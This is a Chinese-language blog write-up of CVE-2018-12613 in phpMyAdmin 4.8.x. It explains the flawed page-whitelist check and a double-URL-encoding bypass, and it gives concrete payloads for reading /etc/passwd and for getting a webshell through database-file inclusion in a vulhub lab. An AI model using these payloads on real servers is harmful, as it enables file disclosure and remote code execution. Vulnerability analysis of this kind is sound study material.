【漏洞分析】CVE-2018-12613 phpmyadmin4.8.x漏洞

此時無序勝有序.

漏洞信息

An issue was discovered in phpMyAdmin 4.8.x before 4.8.2, in which an attacker can include (view and potentially execute) files on the server. The vulnerability comes from a portion of code where pages are redirected and loaded within phpMyAdmin, and an improper test for whitelisted pages. An attacker must be authenticated, except in the "$cfg['AllowArbitraryServer'] = true" case (where an attacker can specify any host he/she is already in control of, and execute arbitrary code on phpMyAdmin) and the "$cfg['ServerDefault'] = 0" case (which bypasses the login requirement and runs the vulnerable code without any authentication).

即,影響範圍爲phpmyadmin 4.8.2之前的4.8版本.可達到的效果是LFI和RCE.

漏洞分析與利用

先分析代碼.定位到漏洞文件(index.php),漏洞代碼55行到63行.

通過if判斷即可包含target指定的文件.

55行到60行對可控參數target進行了限制.

1.target必須是string

2.target不可爲index開頭的文件

3.target不能是黑名單中的文件

4.checkPageValidity方法過濾.

黑名單如下

 前三個限制很簡單,着重看第四個限制.

跟進到checkPageValidity方法.

 分析後可知.

1.未給定白名單whitelist時,默認whitelist爲$goto_whitelist

2.未給定$page參數或者$page參數不是字符串,返回false

3.$page在白名單中,返回true

4.$page去參數後的結果在白名單中(將$page以?爲限進行截取後附給$_page,再判斷$_page是否在白名單中),返回true

5.將$page進行一次urldecode後,再進行第四步的操作

6.上述條件都不滿足,直接返回false

默認白名單如下

只要能使checkPageValidity返回true就可以進行LFI.

已知whitelist_file.php,whitelist_file.php?a=123&b=456可以通過checkPageValidity校驗

 checkPageValidity 465行的urldecode可以利用

 由465行的urldecode的存在,我們可以將一個問號進行兩次urlencode變成%25%33%66,在發送請求之時,瀏覽器會自動解碼一次問號則變成了%3f,在經過465行的解碼後問號還原,這時我們也就可以達到控制截取內容的效果.

LFI

由上面的分析我們可以構造payload如下

whitelist_file.php + 二次urlencode(?) + 要讀取的文件
例如:
db_datadict.php%25%33%66../../../../../../../etc/passwd
此時include的便是
include "db_datadict.php%3f../../../../../../../etc/passwd"
成功包含的文件便是/etc/passwd

成功讀取.

RCE

利用上面的LFI包含一個shell文件即可get webshell.

構造一句話,

 

 看看數據庫文件.一句話在裏面.

 文件包含該文件.即可命令執行.

因爲我是用vulhub搭的環境,mysql與phpmyadmin不在一個容器裏,所以不能包含.這個數據庫文件.命令執行payload理應如下:

http://127.0.0.1:8087/index.php?cmd=phpinfo();&target=db_datadict.php%25%33%66../../mysql/test/4ut15m.frm

當然,重要的是需要知道數據庫文件的路徑.

貼出上面用到的代碼

<?php
/**
 *filename:check.php
 */
$a = "whitelist_file.php";
$b = "whitelist_file.php?a=123&b=456";
echo "$a 截取後:爲".mb_substr($a,0,mb_strpos($a.'?','?'));
echo "\n$b 截取後爲:".mb_substr($b,0,mb_strpos($b.'?','?'))."\n";

?>
<?php
/**
 *filename:filter.php
 */
function checkPageValidity(&$page, array $whitelist = [])
{
        if (empty($whitelist)) {
            $whitelist = array('db_datadict.php','db_sql.php','db_events.php');
        }
        if (! isset($page) || !is_string($page)) {
            return false;
        }

        echo "這是我們傳入的字符串:$page,它即將進行白名單值判斷<br>";

        if (in_array($page, $whitelist)) {
            return true;
        }
        
        echo "但很明顯它並不是白名單中的值,所以程序繼續往下執行<br>"; 
        
        $_page = mb_substr(
            $page,
            0,
            mb_strpos($page . '?', '?')
        );
    
        echo "這是第一次截取後的內容:$_page,它也將進行白名單值判斷<br>";
        if (in_array($_page, $whitelist)) {
            return true;
        }
    
        echo "因爲截取後的內容同樣無法通過白名單檢驗,所以程序繼續往下判斷<br>";
        echo "下面會進行一次urldecode<br>";
    
        $_page = urldecode($page);
        echo "這是解碼後的內容:$_page,它將進行一次截取操作(去參數)<br>";
    
        $_page = mb_substr(
            $_page,
            0,
            mb_strpos($_page . '?', '?')
        );
       
        echo "這是第二次截取後的內容:$_page,你看,這個結果可以通過白名單檢驗<br>";
        if (in_array($_page, $whitelist)) {
            return true;
        }
        

        return false;
    }
checkPageValidity($_GET['a']);

?>

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章